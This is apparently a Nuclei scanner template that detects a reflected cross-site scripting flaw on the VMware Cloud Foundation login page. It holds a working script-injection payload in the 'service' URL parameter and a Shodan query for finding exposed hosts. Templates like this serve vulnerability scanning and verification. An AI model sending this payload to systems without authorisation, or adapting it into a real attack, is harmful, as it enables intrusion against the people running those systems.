id: vmware-cloud-xss

info:
  name: VMWare Cloud - Cross Site Scripting
  author: tess
  severity: medium
  description: VMWare Cloud is vulnerable to Reflected Cross Site Scripting vulnerability.
  classification:
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: cloud_foundation
    shodan-query: title:"Vmware Cloud"
  tags: vmware,xss,cloud,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login/?redirectTo=/tenant/e&service=</script><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'let tokens = "'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f25baf8d69223f19279a4ba0fee3458b92b26730fdfca75cb5192891b2ee4b57022100f1f9b27c042c48fad1b071c0e2dcae52ff8d8a4b9dfab10ad0556a470707a27e:922c64590222798bb761d5b6d8e72950